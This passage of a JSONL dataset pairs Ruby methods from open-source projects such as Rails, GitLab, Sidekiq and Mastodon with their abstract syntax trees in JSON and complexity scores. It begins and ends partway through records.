lhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"body_data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:UID)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"n\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"uid_data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:MODSEQ)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"n\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"modseq_data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:X-GM-LABELS)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"n\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"label_data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:X-GM-MSGID)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"n\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"uid_data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:X-GM-THRID)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"n\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"uid_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_error\",{\"type\":\"str\",\"children\":[\"unknown attribute `%s' for {%d}\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"value\"]},{\"type\":\"lvar\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"attr\"]}]}]}","id":"56896783-f538-451e-aaed-07df3dd4544c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ui_worker.rb","start_line":21,"raw_source":"def self.preload_for_worker_role\n    super\n    Api::ApiConfig.collections.each { |_k, v| v.klass.try(:constantize).try(:descendants) }\n\n    # There is a race condition between const_missing and singleton which can occur\n    # when one thread is holding the singleton lock and loading a constant while\n    # another thread is holding the signleton lock and waiting to load a different\n    # constant.\n    #\n    # As a workaround preload all classes which are Singletons from a single thread\n    # prior to booting the puma workers.\n    ApplicationHelper::Toolbar::Base.instance\n    Menu::Manager.instance\n  end","complexity_score":9.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"preload_for_worker_role\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Api\"]},\"ApiConfig\"]},\"collections\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"klass\"]},\"try\",{\"type\":\"sym\",\"children\":[\"constantize\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"descendants\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationHelper\"]},\"Toolbar\"]},\"Base\"]},\"instance\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Menu\"]},\"Manager\"]},\"instance\"]}]}]}","id":"38ff6034-f4fe-4d6b-a620-f35456597a39"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/relation_scoping_test.rb","start_line":156,"raw_source":"def test_scoped_find_with_annotation\n    Developer.annotate(\"scoped\").scoping do\n      developer = nil\n      assert_queries_match(%r{/\\* scoped \\*/}) do\n        developer = Developer.where(\"name = 'David'\").first\n      end\n      assert_equal \"David\", developer.name\n    end\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scoped_find_with_annotation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"annotate\",{\"type\":\"str\",\"children\":[\"scoped\"]}]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\\\\* scoped \\\\*/\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"where\",{\"type\":\"str\",\"children\":[\"name = 'David'\"]}]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"David\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"name\"]}]}]}]}]}","id":"526384f0-e10a-436d-aefb-6e7c80fbbeab"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/spec/features/checkout_steps_spec.rb","start_line":643,"raw_source":"def fill_in_address_form(country_field_name)\n    fill_in 'First Name', with: 'Guest'\n    fill_in 'Last Name', with: 'Guestovski'\n    fill_in 'Address', with: 'Bul ASNOM'\n    fill_in 'Address (contd.)', with: '77'\n    fill_in 'City', with: 'Skopje'\n    fill_in 'Zip Code', with: '77777'\n    fill_in 'Phone', with: '522-512-519'\n    select country.name, from: country_field_name\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_in_address_form\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"country_field_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"First Name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"Guest\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"Last Name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"Guestovski\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"Address\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"Bul ASNOM\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"Address (contd.)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"77\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"City\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"Skopje\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"Zip Code\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"77777\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"Phone\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"522-512-519\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"country\"]},\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"country_field_name\"]}]}]}]}]}]}","id":"b87ba554-d702-4d1b-ba2c-a1fb775242d0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type/attribute_groups.rb","start_line":205,"raw_source":"def to_attribute_group_array(groups)\n    groups.map do |group|\n      attributes = if group.is_a?(Type::QueryGroup)\n                     query = group.query\n\n                     query.save\n\n                     [group.query_attribute_name]\n                   else\n                     group.attributes\n                   end\n      [group.key, attributes]\n    end\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"to_attribute_group_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"QueryGroup\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"save\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"query_attribute_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"attributes\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"key\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]}","id":"d8423d54-97bd-4d72-ba67-3c48b1c240ce"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":786,"raw_source":"def fetch(score, jid = nil)\n      begin_score, end_score =\n        if score.is_a?(Range)\n          [score.first, score.last]\n        else\n          [score, score]\n        end\n\n      elements = Sidekiq.redis { |conn|\n        conn.zrange(name, begin_score, end_score, \"BYSCORE\", \"withscores\")\n      }\n\n      elements.each_with_object([]) do |element, result|\n        data, job_score = element\n        entry = SortedEntry.new(self, job_score, data)\n        result << entry if jid.nil? || entry.jid == jid\n      end\n    end","complexity_score":29.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"score\"]},{\"type\":\"optarg\",\"children\":[\"jid\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"begin_score\"]},{\"type\":\"lvasgn\",\"children\":[\"end_score\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Range\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},\"last\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},{\"type\":\"lvar\",\"children\":[\"score\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"elements\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"zrange\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"lvar\",\"children\":[\"begin_score\"]},{\"type\":\"lvar\",\"children\":[\"end_score\"]},{\"type\":\"str\",\"children\":[\"BYSCORE\"]},{\"type\":\"str\",\"children\":[\"withscores\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"lvasgn\",\"children\":[\"job_score\"]}]},{\"type\":\"lvar\",\"children\":[\"element\"]}]},{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SortedEntry\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"job_score\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jid\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"jid\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"jid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]},null]}]}]}]}]}","id":"22a115cb-eab5-4090-bb42-0c8d1b1346db"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/attachment_batch.rb","start_line":26,"raw_source":"def initialize(klass, records)\n    @klass            = klass\n    @records          = records\n    @storage_mode     = Paperclip::Attachment.default_options[:storage]\n    @attachment_names = klass.attachment_definitions.keys\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"records\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@klass\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@records\",{\"type\":\"lvar\",\"children\":[\"records\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@storage_mode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Paperclip\"]},\"Attachment\"]},\"default_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"storage\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@attachment_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"attachment_definitions\"]},\"keys\"]}]}]}]}","id":"0a68b9ed-23ee-4d24-813a-5e1e2a38dd69"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback.rb","start_line":304,"raw_source":"def self.default_column_for_format(col)\n    if col.start_with?('storage_allocated')\n      col.ends_with?('cost') ? 'storage_allocated_cost' : 'storage_allocated_metric'\n    else\n      col\n    end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_column_for_format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"storage_allocated\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"ends_with?\",{\"type\":\"str\",\"children\":[\"cost\"]}]},{\"type\":\"str\",\"children\":[\"storage_allocated_cost\"]},{\"type\":\"str\",\"children\":[\"storage_allocated_metric\"]}]},{\"type\":\"lvar\",\"children\":[\"col\"]}]}]}","id":"1b1dfa9b-c7fe-48d2-a67b-c62c10a20e3c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/pipeline/runner.rb","start_line":202,"raw_source":"def logger\n        @logger ||= Logger.build.with_entity(context.entity)\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"build\"]},\"with_entity\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"entity\"]}]}]}]}","id":"b5de356b-8698-4d20-8c82-de98ff753e6c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers.rb","start_line":1092,"raw_source":"def swap_primary_key(table_name, primary_key_name, index_to_use)\n        with_lock_retries(raise_on_exhaustion: true) do\n          drop_constraint(table_name, primary_key_name, cascade: true)\n          add_primary_key_using_index(table_name, primary_key_name, index_to_use)\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"swap_primary_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"primary_key_name\"]},{\"type\":\"arg\",\"children\":[\"index_to_use\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_exhaustion\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_constraint\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"primary_key_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cascade\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_primary_key_using_index\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"primary_key_name\"]},{\"type\":\"lvar\",\"children\":[\"index_to_use\"]}]}]}]}]}","id":"d1c963ad-283d-417b-8388-32dc271cfc4a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/security/finding.rb","start_line":226,"raw_source":"def signature_hexes\n            return [] unless @vulnerability_finding_signatures_enabled && signatures.present?\n\n            signatures.sort_by { |sig| -sig.priority }.map(&:signature_hex)\n          end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"signature_hexes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vulnerability_finding_signatures_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signatures\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signatures\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sig\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sig\"]},\"priority\"]},\"-@\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"signature_hex\"]}]}]}]}]}","id":"f1a0b360-c0b0-41db-99a5-3430e68dda2f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/value_streams_dashboard_helpers.rb","start_line":15,"raw_source":"def visit_project_analytics_dashboards_list(project)\n    visit project_analytics_dashboards_path(project)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_project_analytics_dashboards_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"project_analytics_dashboards_path\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"c61f824a-d4ab-43ef-b786-55da56ce1ac4"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/connect_api/provisioning/provisioning_client_spec.rb","start_line":31,"raw_source":"def test_request_body(url, body)\n      req_mock = double\n      header_mock = double\n\n      encoded_params = Faraday::NestedParamsEncoder.encode(body)\n      encoded_body = { \"urlEncodedQueryParams\" => encoded_params, \"teamId\" => Spaceship::Portal.client.team_id }\n\n      expect(req_mock).to receive(:url).with(url)\n      expect(req_mock).to receive(:body=).with(JSON.generate(encoded_body))\n      expect(req_mock).to receive(:headers).and_return(header_mock).exactly(3).times\n\n      expect(header_mock).to receive(:[]=).with(\"X-Requested-With\", \"XMLHttpRequest\")\n      expect(header_mock).to receive(:[]=).with(\"X-HTTP-Method-Override\", \"GET\")\n      expect(header_mock).to receive(:[]=).with(\"Content-Type\", \"application/vnd.api+json\")\n\n      return req_mock\n    end","complexity_score":43.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_request_body\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req_mock\",{\"type\":\"send\",\"children\":[null,\"double\"]}]},{\"type\":\"lvasgn\",\"children\":[\"header_mock\",{\"type\":\"send\",\"children\":[null,\"double\"]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_params\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faraday\"]},\"NestedParamsEncoder\"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"urlEncodedQueryParams\"]},{\"type\":\"lvar\",\"children\":[\"encoded_params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Portal\"]},\"client\"]},\"team_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"req_mock\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"url\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"req_mock\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"body=\"]}]},\"with\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"encoded_body\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"req_mock\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"headers\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"header_mock\"]}]},\"exactly\",{\"type\":\"int\",\"children\":[3]}]},\"times\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"header_mock\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"[]=\"]}]},\"with\",{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"str\",\"children\":[\"XMLHttpRequest\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"header_mock\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"[]=\"]}]},\"with\",{\"type\":\"str\",\"children\":[\"X-HTTP-Method-Override\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"header_mock\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"[]=\"]}]},\"with\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/vnd.api+json\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_mock\"]}]}]}]}","id":"47d0e639-b872-4343-b314-d9548e15c61a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/listeners/webhook_listener.rb","start_line":35,"raw_source":"def message_updated(event)\n    message = extract_message_and_account(event)[0]\n    inbox = message.inbox\n\n    return unless message.webhook_sendable?\n\n    payload = message.webhook_data.merge(event: __method__.to_s)\n    deliver_webhook_payloads(payload, inbox)\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"message_updated\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_message_and_account\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"inbox\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"webhook_sendable?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"webhook_data\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]},\"to_s\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deliver_webhook_payloads\",{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"inbox\"]}]}]}]}","id